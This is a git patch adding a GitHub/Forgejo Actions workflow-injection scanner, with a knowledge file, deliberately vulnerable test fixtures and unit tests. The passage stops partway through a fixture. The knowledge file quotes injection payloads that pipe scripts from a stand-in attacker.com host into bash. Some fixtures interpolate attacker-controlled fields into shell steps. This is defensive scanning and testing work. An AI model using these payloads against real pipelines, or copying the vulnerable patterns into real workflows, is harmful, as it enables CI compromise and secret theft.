From c31d4b1718127811d27a911039667adb6c619c76 Mon Sep 17 00:00:00 2001 From: Kjell Tore Guttormsen Date: Thu, 30 Apr 2026 15:48:48 +0200 Subject: [PATCH] =?UTF-8?q?feat(workflow-scanner):=20E11=20part=201=20?= =?UTF-8?q?=E2=80=94=20core=20file-walk=20+=2023-field=20blacklist=20+=20s?= =?UTF-8?q?ink-restriction?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Adds a deterministic GitHub Actions / Forgejo Actions injection scanner. Detects \${{ }} interpolations inside \`run:\` step blocks under privileged or semi-privileged triggers. Sink-restricted: \`if:\` / \`with:\` / \`env:\` (block-level) are evaluated by the runner expression engine, not the shell, so they are NOT injection sinks and are suppressed at parser level. Why: workflow expression injection is the most prevalent SAST class on GitHub (CodeQL preview: 800K+ findings across 158K repos). The graduated severity matrix (HIGH for pull_request_target / discussion / workflow_run; MEDIUM for pull_request / workflow_dispatch) is the community-converged calibration target — uniform HIGH causes alert fatigue. Components: - scanners/lib/workflow-yaml-state.mjs — line-based YAML state machine. Tracks indentation, parent-context stack, and \`run: |\` / \`run: >\` block-scalar entry/exit. Zero deps. - scanners/workflow-scanner.mjs — discoverWorkflows() probes .github/workflows/ and .forgejo/workflows/ directly (file-discovery has no glob include). 23-field blacklist (GHSL 17 + 6 GlueStack- class additions). Platform encoded via file path; no schema extension to finding(). Forgejo-specific: workflow_run advisory emitted to stderr; recommendation text mentions Forgejo's server-level token scoping (job-level permissions: is ignored). - knowledge/workflow-injection-patterns.md — 23-field blacklist, trigger taxonomy, severity matrix, Forgejo divergences, NVD CVE corpus. Tests (47 new): - tests/lib/workflow-yaml-state.test.mjs (15): trigger forms (string / inline-list / block-list / block-mapping), single-line run, block-scalar | and > tracking, env/with sink-mismatch, multi-line, comment stripping, line-number accuracy. - tests/scanners/workflow-scanner.test.mjs (14): TP head_ref pull_request_target, TP discussion.title gluestack pattern, TP comment.body pull_request, TP issue.body block-scalar, FP if-context, FP env-block, INFO numeric, Forgejo TP, Forgejo workflow_run advisory, envelope shape, WFL prefix. - 9 fixtures in tests/fixtures/workflows/{.github,.forgejo}/workflows/. Out of scope (B4 / Batch D): - Re-interpolation detection (env.VAR after env: from blacklisted source) - github.actor authorization-bypass category - WFL prefix in severity.mjs OWASP maps + scan-orchestrator registration (B4) - Composite-action input tracing, GITHUB_ENV poisoning (Batch D) Test count: 1685 → 1732 (+47). Pre-compact-scan flake unchanged (passes in isolation). --- .../knowledge/workflow-injection-patterns.md | 161 +++++++++ .../scanners/lib/workflow-yaml-state.mjs | 228 ++++++++++++ .../scanners/workflow-scanner.mjs | 330 ++++++++++++++++++ .../.forgejo/workflows/forgejo-tp.yml | 11 + .../workflows/forgejo-workflow-run.yml | 12 + .../.github/workflows/fp-env-block.yml | 14 + .../.github/workflows/fp-if-context.yml | 12 + .../.github/workflows/fp-numeric-field.yml | 11 + .../.github/workflows/tp-block-scalar-run.yml | 14 + .../.github/workflows/tp-discussion-title.yml | 11 + .../workflows/tp-prtarget-head-ref.yml | 11 + .../workflows/tp-pull-request-comment.yml | 11 + .../tests/lib/workflow-yaml-state.test.mjs | 193 ++++++++++ .../tests/scanners/workflow-scanner.test.mjs | 148 ++++++++ 14 files changed, 1167 insertions(+) create mode 100644 plugins/llm-security/knowledge/workflow-injection-patterns.md create mode 100644 plugins/llm-security/scanners/lib/workflow-yaml-state.mjs create mode 100644 plugins/llm-security/scanners/workflow-scanner.mjs create mode 100644 plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-tp.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-workflow-run.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-env-block.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-if-context.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-numeric-field.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-block-scalar-run.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-discussion-title.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-prtarget-head-ref.yml create mode 100644 plugins/llm-security/tests/fixtures/workflows/.github/workflows/tp-pull-request-comment.yml create mode 100644 plugins/llm-security/tests/lib/workflow-yaml-state.test.mjs create mode 100644 plugins/llm-security/tests/scanners/workflow-scanner.test.mjs diff --git a/plugins/llm-security/knowledge/workflow-injection-patterns.md b/plugins/llm-security/knowledge/workflow-injection-patterns.md new file mode 100644 index 0000000..2dbe788 --- /dev/null +++ b/plugins/llm-security/knowledge/workflow-injection-patterns.md @@ -0,0 +1,161 @@ +# Workflow Injection Patterns (E11) + +Knowledge file for `scanners/workflow-scanner.mjs`. Covers GitHub +Actions and Forgejo Actions `${{ }}` injection sinks inside +`run:` step blocks. Sourced from +`.claude/projects/2026-04-29-batch-c-scope-finalize/research/01-github-forgejo-actions-injection.md` +(confidence 0.92, 51 sources). + +## Canonical 23-field blacklist + +The community has converged on a blacklist (zizmor #1878) rather than a +whitelist of safe fields. The 23 fields below are the v7.3.0 baseline — +GitHub Security Lab's canonical 17-field list plus 6 GlueStack-class +additions. All patterns match both `github.*` and `forgejo.*` prefixes +(Forgejo aliases `github.*` to `forgejo.*` per its Reference docs). + +### GHSL canonical 17 + +``` +github.event.issue.title +github.event.issue.body +github.event.pull_request.title +github.event.pull_request.body +github.event.pull_request.head.ref +github.event.pull_request.head.label +github.event.pull_request.head.repo.default_branch +github.event.comment.body +github.event.review.body +github.event.commits.*.message +github.event.commits.*.author.email +github.event.commits.*.author.name +github.event.head_commit.message +github.event.head_commit.author.email +github.event.head_commit.author.name +github.event.pages.*.page_name +github.head_ref +``` + +### GlueStack-class additions (v7.3.0) + +``` +github.event.discussion.title # CVE-2025-53104 +github.event.discussion.body # CVE-2025-53104 +github.event.discussion.user.login # CVE-2025-53104 +github.event.inputs.* # workflow_dispatch — string inputs only +github.event.client_payload.* # repository_dispatch +inputs.* # bare `inputs.` (action-side / reusable workflow) +``` + +## Severity matrix + +| Tier | Field class | Trigger context | Severity | +|------|-------------|-----------------|----------| +| Privileged trigger | dangerous | `pull_request_target`, `issue_comment`, `discussion`, `discussion_comment`, `workflow_run` | HIGH | +| Semi-privileged trigger | dangerous | `pull_request`, `workflow_dispatch`, `repository_dispatch` | MEDIUM | +| Other / no trigger info | dangerous | (default fallback) | MEDIUM | +| Numeric / hex / fixed-string | safe | any | INFO (suppressed in summary) | +| Sink mismatch | (any) | `if:`, `with:`, `env:` (block-level), `name:`, `runs-on:`, `timeout-minutes:` | NOT injection — suppressed at parser level | + +### Safe fields (INFO-only, never injection sinks) + +``` +github.event.pull_request.number # integer +github.event.pull_request.head.sha # 40-char hex +github.run_id # server-assigned int +github.run_number # int +github.sha # 40-char hex +github.event.action # fixed string ("opened" / "closed" / …) +github.event.repository.full_name # admin-controlled +``` + +## Trigger taxonomy + +### Privileged (HIGH-severity matrix) + +- `pull_request_target` — runs on the BASE repo, has write tokens. The + canonical "pwn-request" trigger. +- `issue_comment` — fires on any new issue/PR comment. Attacker-supplied + `comment.body` is shell-injectable. +- `discussion` and `discussion_comment` — same shape as `issue_comment`, + but the Discussion fields evade older zizmor whitelists. CVE-2025-53104 + (gluestack) used `${{ github.event.discussion.title }}`. +- `workflow_run` — chained workflow trigger. Inherits BASE repo + privileges. NOT documented for Forgejo Actions; Forgejo scans treat + it as privileged for severity but emit a stderr advisory. + +### Semi-privileged (MEDIUM-severity matrix) + +- `pull_request` — read-only token from forks; still injectable, just + less catastrophic. +- `workflow_dispatch` — manual trigger with string `inputs.*`; CVE-2026-35580 + (NSA Emissary) used this. +- `repository_dispatch` — webhook-driven trigger with `client_payload.*`. + +## Sink restriction + +Only `run:` step content (single-line or block-scalar `|` / `>`) is a +shell injection sink. The runner expression engine evaluates expressions +inside: + +- `if:` — boolean evaluation, no shell. (actionlint #443.) +- `with:` — passed to action input; downstream action's responsibility. +- `env:` (any level) — bound to env var; safe IF consumed via `$VAR` in + the run script. Re-interpolation `${{ env.VAR }}` inside `run:` + cancels the mitigation (Appsmith CVE GHSL-2024-277). + +The scanner suppresses findings whose parent is one of these contexts. +The re-interpolation pattern is detected separately in B4. + +## Forgejo divergences + +| Item | GitHub | Forgejo | Scanner implication | +|------|--------|---------|---------------------| +| Primary context | `github.*` | `forgejo.*` (alias `github.*`) | Match both prefixes | +| Job-level `permissions:` | Enforced | **Ignored** | Recommendation text mentions Forgejo's server-level token scoping instead | +| `workflow_run` trigger | Supported | **Likely unsupported** | Stderr advisory emitted; severity logic still applies | +| OIDC | `permissions: id-token: write` | `enable-openid-connect` | Out of scope for E11 | + +The scanner detects platform from file path (`.forgejo/workflows/` → +forgejo, `.github/workflows/` → github). Both directories are scanned +independently when both exist; there is no fallback from one to the +other (documented design choice — the v7.3.0 plan locked this in to +avoid over-confident mitigation guidance for Forgejo). + +## Real-world payload shapes (v7.3.0 reference) + +- **`${IFS}` brace-expansion** (Ultralytics CVE-2024): + `openimbot:$({curl,-sSfL,raw...}${IFS}|${IFS}bash)` +- **Quote-break + curl** (ultralytics GHSA-7x29-qqmq-v6qc): + `Hacked";{curl,-sSfL,gist...}${IFS}|${IFS}bash` +- **Discussion title `$()` substitution** (gluestack CVE-2025-53104): + `$(curl -sSfL attacker.com/exfil.sh | bash)` +- **`workflow_dispatch` shell-break** (Emissary CVE-2026-35580): + `1.0.0"; curl attacker.com/backdoor.sh | bash; echo "` + +Single-quote shell escaping provides ZERO protection — template +substitution happens BEFORE shell parsing (Ken Muse, Appsmith CVE). + +## Confirmed CVE corpus (NVD / vendor-confirmed) + +- CVE-2023-49291 — tj-actions/branch-names ≤7.0.6 (HIGH 9.3) +- CVE-2025-30066 — tj-actions/changed-files (HIGH 8.6, **CISA KEV**) +- CVE-2025-30154 — reviewdog/action-setup v1 (HIGH 8.6, **CISA KEV**) +- CVE-2025-53104 — gluestack-ui (CRITICAL 9.1, Discussion vector) +- CVE-2025-61671 — Microsoft Symphony (CRITICAL 9.3) +- CVE-2026-33475 — langflow-ai/langflow (CRITICAL 9.1) +- CVE-2026-35580 — NSA Emissary (CRITICAL 9.x, April 2026) +- CVE-2026-3854 — GitHub.com / GHES ≤3.19.2 platform-level (HIGH 8.7) + +The April 2026 `elementary-data` PyPI compromise (Gemini second opinion) +is on a watch-list pending NVD/StepSecurity confirmation. + +## Out of scope (deferred to Batch D / v8.0.0) + +- Composite-action input tracing +- Reusable-workflow call analysis +- `GITHUB_ENV` poisoning detection (LegitSecurity, CodeQL `actions-envvar-injection-critical`) +- Zombie-workflow scanning across non-default branches +- IssueOps TOCTOU (SHA at comment time vs review time) +- Authorization-bypass class for `github.actor` checks (Synacktiv 2023 + Dependabot spoofing) — added in B4 as a separate finding category. diff --git a/plugins/llm-security/scanners/lib/workflow-yaml-state.mjs b/plugins/llm-security/scanners/lib/workflow-yaml-state.mjs new file mode 100644 index 0000000..0a23b32 --- /dev/null +++ b/plugins/llm-security/scanners/lib/workflow-yaml-state.mjs @@ -0,0 +1,228 @@ +// workflow-yaml-state.mjs — Line-based YAML state machine for E11 +// (workflow-scanner). Zero dependencies. Tracks indentation, parent +// context, and `run:` block-scalar entry/exit so the scanner can +// distinguish injection sinks (`run:`) from sink-mismatch contexts +// (`if:`, `env:`, `with:`). +// +// Why hand-roll instead of importing a YAML library: +// - Zero-dependency invariant (CLAUDE.md) +// - Workflows live in `.github/workflows/` and `.forgejo/workflows/`, +// have a constrained shape (top-level `on:`, `jobs:`, with each +// job a mapping of {steps, env, …}). A line-based state machine +// captures everything we need without a full YAML parser. +// +// Out of scope: +// - Anchors / aliases (treated as no-op; rarely used in workflows) +// - Multi-line flow scalars spanning lines via `... \n ...` +// - Full `${{ }}` AST (we extract substring text only) + +const EXPR_RE = /\$\{\{\s*([\s\S]+?)\s*\}\}/g; +const KV_RE = /^([A-Za-z_][\w-]*)\s*:\s*(.*)$/; +const LIST_KV_RE = /^-\s+([A-Za-z_][\w-]*)\s*:\s*(.*)$/; +const TRIGGER_RE = /^([a-z_]+)(?::|$)/; +const BLOCK_SCALAR_VALUES = new Set(['|', '>', '|-', '>-', '|+', '>+']); + +/** + * Strip comments after first unquoted `#`. Workflows rarely embed `#` + * in strings; an over-eager strip is acceptable since we never write + * the stripped text back. + */ +function stripComments(line) { + // Preserve `#` inside ${{ }} expressions (rare, but possible) + return line.replace(/(^|\s)#.*$/, ''); +} + +/** Count leading spaces. YAML disallows tabs in indent, so we treat them as 1. */ +function getIndent(line) { + let i = 0; + while (i < line.length && (line[i] === ' ' || line[i] === '\t')) i++; + return i; +} + +/** Extract `${{ }}` substrings with line/column metadata. */ +function findExpressions(rawLine, lineNum) { + const out = []; + EXPR_RE.lastIndex = 0; + let m; + while ((m = EXPR_RE.exec(rawLine)) !== null) { + out.push({ + line: lineNum, + column: m.index + 1, + expr: m[1].trim(), + }); + } + return out; +} + +/** + * Extract the set of triggers declared by top-level `on:`. Handles all + * four common forms (string, inline-list, block-list, block-mapping). + * + * @param {string[]} lines + * @returns {Set} + */ +export function extractTriggers(lines) { + const triggers = new Set(); + for (let i = 0; i < lines.length; i++) { + const stripped = stripComments(lines[i]); + const trimmed = stripped.trim(); + if (!trimmed) continue; + // Top-level keys are at indent 0 + if (getIndent(stripped) !== 0) continue; + const m = stripped.match(/^on\s*:\s*(.*)$/); + if (!m) continue; + const tail = m[1].trim(); + + // Form 1: `on: push` or `on: [push, pull_request]` + if (tail) { + if (tail.startsWith('[')) { + const inner = tail.replace(/^\[|\]$/g, ''); + for (const part of inner.split(',')) { + const name = part.trim().replace(/^["']|["']$/g, ''); + if (name) triggers.add(name); + } + } else { + const name = tail.replace(/^["']|["']$/g, ''); + if (name) triggers.add(name); + } + return triggers; + } + + // Form 2/3: block list or block mapping + for (let j = i + 1; j < lines.length; j++) { + const sj = stripComments(lines[j]); + const tj = sj.trim(); + if (!tj) continue; + const indent = getIndent(sj); + if (indent === 0) break; // back to top-level key + // List item: `- push` + if (tj.startsWith('- ')) { + const name = tj.slice(2).trim().replace(/^["']|["']$/g, ''); + if (name) triggers.add(name); + continue; + } + // Mapping key: `push:` or `pull_request_target:` + const tm = tj.match(TRIGGER_RE); + if (tm) triggers.add(tm[1]); + } + return triggers; + } + return triggers; +} + +/** + * Walk the workflow text line-by-line and emit `${{ }}` events + * tagged with the parent context (`run`, `if`, `with`, `env`, …) and + * a flag indicating whether the expression appeared inside a `run:` + * block-scalar body. + * + * @param {string} text + * @returns {{ + * triggers: Set, + * events: { + * line: number, + * column: number, + * expr: string, + * parent: string, + * parentChain: string[], + * blockScalar: boolean, + * }[], + * }} + */ +export function parseWorkflow(text) { + const lines = text.split('\n'); + const triggers = extractTriggers(lines); + const events = []; + /** @type {{indent: number, key: string, isBlockScalar: boolean}[]} */ + const stack = []; + + for (let i = 0; i < lines.length; i++) { + const raw = lines[i]; + const stripped = stripComments(raw); + const trimmed = stripped.trim(); + if (!trimmed) continue; + + const indent = getIndent(stripped); + + // Pop frames whose indent >= current indent. Block-scalar frames + // are popped when we leave the scalar body (indent shallower). + while (stack.length && stack[stack.length - 1].indent >= indent) { + stack.pop(); + } + + const top = stack.length ? stack[stack.length - 1] : null; + + // Inside a block-scalar body? Body lines have indent strictly + // greater than the opener; the opener frame is on top of stack. + if (top && top.isBlockScalar) { + const exprs = findExpressions(raw, i + 1); + for (const e of exprs) { + events.push({ + ...e, + parent: top.key, + parentChain: stack.map(s => s.key), + blockScalar: true, + }); + } + continue; + } + + // Try `: ` first + const kv = trimmed.match(KV_RE); + if (kv) { + const key = kv[1]; + const value = kv[2]; + const isBlock = BLOCK_SCALAR_VALUES.has(value); + const exprs = !isBlock && value ? findExpressions(raw, i + 1) : []; + for (const e of exprs) { + events.push({ + ...e, + parent: key, + parentChain: [...stack.map(s => s.key), key], + blockScalar: false, + }); + } + stack.push({ indent, key, isBlockScalar: isBlock }); + continue; + } + + // List item: `- : ` or just `- ` + const lkv = trimmed.match(LIST_KV_RE); + if (lkv) { + const key = lkv[1]; + const value = lkv[2]; + const isBlock = BLOCK_SCALAR_VALUES.has(value); + const exprs = !isBlock && value ? findExpressions(raw, i + 1) : []; + for (const e of exprs) { + events.push({ + ...e, + parent: key, + parentChain: [...stack.map(s => s.key), key], + blockScalar: false, + }); + } + // List items create a deeper synthetic indent so subsequent + // sibling keys at the same column still resolve to this item. + stack.push({ indent: indent + 2, key, isBlockScalar: isBlock }); + continue; + } + + // Plain list item `- something` — no key. Still scan for ${{ ... }} + // (rare but possible) and tag with the enclosing parent. + if (trimmed.startsWith('- ')) { + const exprs = findExpressions(raw, i + 1); + const enclosing = top ? top.key : ''; + for (const e of exprs) { + events.push({ + ...e, + parent: enclosing, + parentChain: stack.map(s => s.key), + blockScalar: false, + }); + } + continue; + } + } + + return { triggers, events }; +} diff --git a/plugins/llm-security/scanners/workflow-scanner.mjs b/plugins/llm-security/scanners/workflow-scanner.mjs new file mode 100644 index 0000000..e8059e8 --- /dev/null +++ b/plugins/llm-security/scanners/workflow-scanner.mjs @@ -0,0 +1,330 @@ +// workflow-scanner.mjs — E11 GitHub/Forgejo Actions injection scanner +// Detects `${{ }}` interpolations inside `run:` step +// blocks under privileged triggers. Sink-restricted (only `run:` is a +// shell sink — `if:`/`with:`/`env:` are evaluated by the runner's +// expression engine, not the shell, so they are NOT injection sinks). +// +// Discovery: explicitly probes `/.github/workflows/` and +// `/.forgejo/workflows/`. discoverFiles() (file-discovery.mjs) +// does not support glob include patterns, so we walk the two +// directories directly via node:fs/promises. +// +// Knowledge: knowledge/workflow-injection-patterns.md (23-field +// blacklist + severity matrix + Forgejo divergences). +// +// Out of scope (deferred): +// - Composite-action input tracing +// - Reusable-workflow call analysis +// - GITHUB_ENV poisoning detection +// - Zombie-workflow scanning across non-default branches +// +// Zero external dependencies. + +import { readdir, readFile, stat } from 'node:fs/promises'; +import { join, relative, basename } from 'node:path'; +import { existsSync } from 'node:fs'; +import { fileURLToPath } from 'node:url'; +import { dirname } from 'node:path'; +import { finding, scannerResult } from './lib/output.mjs'; +import { SEVERITY } from './lib/severity.mjs'; +import { parseWorkflow } from './lib/workflow-yaml-state.mjs'; + +const __dirname = dirname(fileURLToPath(import.meta.url)); + +const MAX_FILES = 100; +const MAX_FILE_SIZE = 256 * 1024; +const SCANNER_NAME = 'workflow'; +const SCANNER_PREFIX = 'WFL'; + +// --------------------------------------------------------------------------- +// 23-field canonical blacklist (GHSL Security Lab 17 + 6 GlueStack-class +// additions per research/01-github-forgejo-actions-injection.md). Stored +// as patterns matching the inner expression after `${{ ` and before ` }}`. +// All patterns match BOTH `github.*` and `forgejo.*` prefixes. +// --------------------------------------------------------------------------- + +const PREFIX = '(?:github|forgejo)'; + +const DANGEROUS_FIELDS = [ + // GHSL 17 + `${PREFIX}\\.event\\.issue\\.title`, + `${PREFIX}\\.event\\.issue\\.body`, + `${PREFIX}\\.event\\.pull_request\\.title`, + `${PREFIX}\\.event\\.pull_request\\.body`, + `${PREFIX}\\.event\\.pull_request\\.head\\.ref`, + `${PREFIX}\\.event\\.pull_request\\.head\\.label`, + `${PREFIX}\\.event\\.pull_request\\.head\\.repo\\.default_branch`, + `${PREFIX}\\.event\\.comment\\.body`, + `${PREFIX}\\.event\\.review\\.body`, + `${PREFIX}\\.event\\.commits\\.\\*\\.message`, + `${PREFIX}\\.event\\.commits\\.\\*\\.author\\.email`, + `${PREFIX}\\.event\\.commits\\.\\*\\.author\\.name`, + `${PREFIX}\\.event\\.head_commit\\.message`, + `${PREFIX}\\.event\\.head_commit\\.author\\.email`, + `${PREFIX}\\.event\\.head_commit\\.author\\.name`, + `${PREFIX}\\.event\\.pages\\.\\*\\.page_name`, + `${PREFIX}\\.head_ref`, + // GlueStack-class additions + `${PREFIX}\\.event\\.discussion\\.title`, + `${PREFIX}\\.event\\.discussion\\.body`, + `${PREFIX}\\.event\\.discussion\\.user\\.login`, + `${PREFIX}\\.event\\.inputs\\.[\\w-]+`, + `${PREFIX}\\.event\\.client_payload\\.[\\w-]+`, + `inputs\\.[\\w-]+`, +]; + +const DANGEROUS_RE = new RegExp( + '(?:' + + DANGEROUS_FIELDS.map(p => p.replace(/\\\.\\\*/g, '\\.[^.]+')).join('|') + + ')', +); + +// Numeric/hex/fixed-string fields — INFO-level, never injection sinks +const SAFE_FIELDS_RE = new RegExp( + '^(?:' + + `${PREFIX}\\.event\\.pull_request\\.number|` + + `${PREFIX}\\.event\\.pull_request\\.head\\.sha|` + + `${PREFIX}\\.run_id|` + + `${PREFIX}\\.run_number|` + + `${PREFIX}\\.sha|` + + `${PREFIX}\\.event\\.action|` + + `${PREFIX}\\.event\\.repository\\.full_name` + + ')$', +); + +// Triggers that grant attacker-controlled context with elevated +// privileges (read/write tokens). +const PRIVILEGED_TRIGGERS = new Set([ + 'pull_request_target', + 'issue_comment', + 'discussion', + 'discussion_comment', + 'workflow_run', +]); + +// Triggers where attacker can supply input but token is read-only or +// scoped (still an injection sink, just lower severity). +const SEMI_PRIVILEGED_TRIGGERS = new Set([ + 'pull_request', + 'workflow_dispatch', + 'repository_dispatch', +]); + +// Sink contexts that ARE shell: +const SINK_PARENTS = new Set(['run']); +// Contexts where ${{ ... }} is evaluated by the runner expression +// engine, NOT the shell. These are sink mismatches, not injection. +const NON_SINK_PARENTS = new Set(['if', 'with', 'env', 'name', 'runs-on', 'timeout-minutes', 'continue-on-error']); + +// --------------------------------------------------------------------------- +// Discovery +// --------------------------------------------------------------------------- + +/** + * Walk `/.github/workflows/` and `/.forgejo/workflows/` + * one level deep. Return absolute paths of `.yml` and `.yaml` files, + * combined and capped at MAX_FILES total. + * + * @param {string} targetPath + * @returns {Promise} + */ +export async function discoverWorkflows(targetPath) { + const out = []; + const dirs = [ + join(targetPath, '.github', 'workflows'), + join(targetPath, '.forgejo', 'workflows'), + ]; + for (const dir of dirs) { + if (!existsSync(dir)) continue; + let entries; + try { + entries = await readdir(dir, { withFileTypes: true }); + } catch { + continue; + } + for (const entry of entries) { + if (!entry.isFile()) continue; + if (!/\.ya?ml$/i.test(entry.name)) continue; + out.push(join(dir, entry.name)); + if (out.length >= MAX_FILES) return out; + } + } + return out; +} + +// --------------------------------------------------------------------------- +// Severity matrix +// --------------------------------------------------------------------------- + +/** + * Map (triggerSet, fieldClass) → severity. + * + * @param {Set} triggers + * @param {'dangerous'|'safe'|'other'} fieldClass + * @returns {string|null} SEVERITY constant, or null = suppress + */ +function severityFor(triggers, fieldClass) { + if (fieldClass === 'safe') return SEVERITY.INFO; + if (fieldClass !== 'dangerous') return null; + for (const t of triggers) { + if (PRIVILEGED_TRIGGERS.has(t)) return SEVERITY.HIGH; + } + for (const t of triggers) { + if (SEMI_PRIVILEGED_TRIGGERS.has(t)) return SEVERITY.MEDIUM; + } + // No relevant trigger → still flag at MEDIUM (e.g. push events + // can still be reachable from forks via PRs). + return SEVERITY.MEDIUM; +} + +function classifyField(expr) { + if (SAFE_FIELDS_RE.test(expr)) return 'safe'; + if (DANGEROUS_RE.test(expr)) return 'dangerous'; + return 'other'; +} + +// --------------------------------------------------------------------------- +// Platform detection (filename-based; keeps schema unchanged) +// --------------------------------------------------------------------------- + +function detectPlatform(absPath) { + if (absPath.includes('/.forgejo/workflows/')) return 'forgejo'; + if (absPath.includes('/.github/workflows/')) return 'github'; + return 'unknown'; +} + +// --------------------------------------------------------------------------- +// Recommendation text +// --------------------------------------------------------------------------- + +function buildRecommendation(platform, parent) { + const base = parent === 'run' + ? 'Bind the expression to an env var first, then consume it via $VAR in the run script: `env: { TITLE: ${{ ... }} }; run: echo "$TITLE"`. Re-interpolating ${{ env.TITLE }} inside run: cancels the mitigation.' + : 'This expression is not a shell injection sink, but the underlying field is attacker-controlled. Review its downstream use.'; + if (platform === 'forgejo') { + return base + ' Forgejo note: job-level `permissions:` is ignored on Forgejo (admin-guide); rely on token scoping at server level instead.'; + } + return base; +} + +// --------------------------------------------------------------------------- +// Scan one workflow file +// --------------------------------------------------------------------------- + +async function scanFile(absPath, targetPath, stderrLog) { + const findings = []; + const stat_ = await stat(absPath).catch(() => null); + if (!stat_ || stat_.size > MAX_FILE_SIZE) return findings; + const text = await readFile(absPath, 'utf8').catch(() => null); + if (text === null) return findings; + + const relPath = relative(targetPath, absPath) || basename(absPath); + const platform = detectPlatform(absPath); + + let parsed; + try { + parsed = parseWorkflow(text); + } catch (err) { + stderrLog(`[workflow-scanner] parse error in ${relPath}: ${err.message}\n`); + return findings; + } + + const triggers = parsed.triggers; + + // Forgejo divergence advisory: `workflow_run` is not documented for + // Forgejo. Emit to stderr (not as a finding) so the user knows the + // severity-matrix logic applied as if it were privileged. + if (platform === 'forgejo' && triggers.has('workflow_run')) { + stderrLog( + `[workflow-scanner] ${relPath}: 'workflow_run' trigger is not documented for Forgejo Actions; ` + + `severity logic still treats it as privileged. See knowledge/workflow-injection-patterns.md §Forgejo.\n` + ); + } + + for (const ev of parsed.events) { + if (NON_SINK_PARENTS.has(ev.parent)) continue; + if (!SINK_PARENTS.has(ev.parent)) continue; + + const fieldClass = classifyField(ev.expr); + if (fieldClass === 'other') continue; + + const severity = severityFor(triggers, fieldClass); + if (!severity) continue; + + const platformLabel = platform === 'forgejo' ? 'Forgejo' : 'GitHub'; + const triggerList = [...triggers].join(', ') || 'unknown'; + + findings.push(finding({ + scanner: SCANNER_PREFIX, + severity, + title: severity === SEVERITY.INFO + ? `Safe expression in ${platformLabel} workflow run:` + : `Workflow injection: ${platformLabel} ${ev.expr} in run: under ${triggerList}`, + description: + `${platformLabel} workflow at ${relPath} interpolates \${{ ${ev.expr} }} ` + + `inside a run: step. Triggers: ${triggerList}. ` + + `Field class: ${fieldClass}. Block scalar: ${ev.blockScalar}.`, + file: relPath, + line: ev.line, + evidence: `\${{ ${ev.expr} }}`, + owasp: 'LLM02', + recommendation: buildRecommendation(platform, ev.parent), + })); + } + + return findings; +} + +// --------------------------------------------------------------------------- +// Public entry — orchestrator-compatible +// --------------------------------------------------------------------------- + +/** + * Scan a target path for workflow injection. + * + * @param {string} targetPath + * @param {object} [_discovery] Ignored — workflow-scanner does its own + * directory probe. + * @returns {Promise} scannerResult envelope + */ +export async function scan(targetPath, _discovery) { + const startMs = Date.now(); + const allFindings = []; + let filesScanned = 0; + const stderrLog = (msg) => process.stderr.write(msg); + + try { + const files = await discoverWorkflows(targetPath); + for (const f of files) { + filesScanned++; + const fileFindings = await scanFile(f, targetPath, stderrLog); + allFindings.push(...fileFindings); + } + return scannerResult(SCANNER_NAME, 'ok', allFindings, filesScanned, Date.now() - startMs); + } catch (err) { + return scannerResult( + SCANNER_NAME, + 'error', + allFindings, + filesScanned, + Date.now() - startMs, + err.message, + ); + } +} + +// --------------------------------------------------------------------------- +// CLI entry +// --------------------------------------------------------------------------- + +const isDirectRun = process.argv[1] === fileURLToPath(import.meta.url); +if (isDirectRun) { + const target = process.argv[2]; + if (!target) { + console.error('Usage: node workflow-scanner.mjs '); + process.exit(1); + } + scan(target).then(result => { + process.stdout.write(JSON.stringify(result, null, 2) + '\n'); + }); +} diff --git a/plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-tp.yml b/plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-tp.yml new file mode 100644 index 0000000..952a18d --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-tp.yml @@ -0,0 +1,11 @@ +name: forgejo head_ref echo (TP — Forgejo + pull_request) +on: + pull_request: + branches: [main] + +jobs: + echo-ref: + runs-on: ubuntu-latest + steps: + - name: Echo head ref + run: echo "Forgejo head_ref ${{ forgejo.head_ref }}" diff --git a/plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-workflow-run.yml b/plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-workflow-run.yml new file mode 100644 index 0000000..d28cdb7 --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.forgejo/workflows/forgejo-workflow-run.yml @@ -0,0 +1,12 @@ +name: forgejo workflow_run divergence (advisory) +on: + workflow_run: + workflows: ["build"] + types: [completed] + +jobs: + echo: + runs-on: ubuntu-latest + steps: + - name: Echo title + run: echo "Title was ${{ forgejo.event.pull_request.title }}" diff --git a/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-env-block.yml b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-env-block.yml new file mode 100644 index 0000000..6fca013 --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-env-block.yml @@ -0,0 +1,14 @@ +name: env block-level mapping (FP — bind, not exec) +on: + pull_request_target: + branches: [main] + +env: + PR_TITLE: ${{ github.event.pull_request.title }} + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Use env safely + run: echo "$PR_TITLE" diff --git a/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-if-context.yml b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-if-context.yml new file mode 100644 index 0000000..4246375 --- /dev/null +++ b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-if-context.yml @@ -0,0 +1,12 @@ +name: if-context evaluation (FP — engine, not shell) +on: + pull_request_target: + branches: [main] + +jobs: + conditional: + runs-on: ubuntu-latest + if: ${{ startsWith(github.head_ref, 'release/') }} + steps: + - name: Run only on release branches + run: echo "release branch detected" diff --git a/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-numeric-field.yml b/plugins/llm-security/tests/fixtures/workflows/.github/workflows/fp-numeric-field.yml new file mode 100644 index 0000000..809bd9e --- /dev/null +++ 